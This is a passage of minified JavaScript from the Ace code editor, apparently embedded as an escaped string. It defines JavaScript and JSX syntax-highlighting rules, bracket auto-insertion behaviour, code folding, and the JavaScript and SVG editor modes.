t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/svg_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=e(\"./xml_highlight_rules\").XmlHighlightRules,o=function(){s.call(this),this.embedTagRules(i,\"js-\",\"script\"),this.normalizeRules()};r.inherits(o,s),t.SvgHighlightRules=o}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return 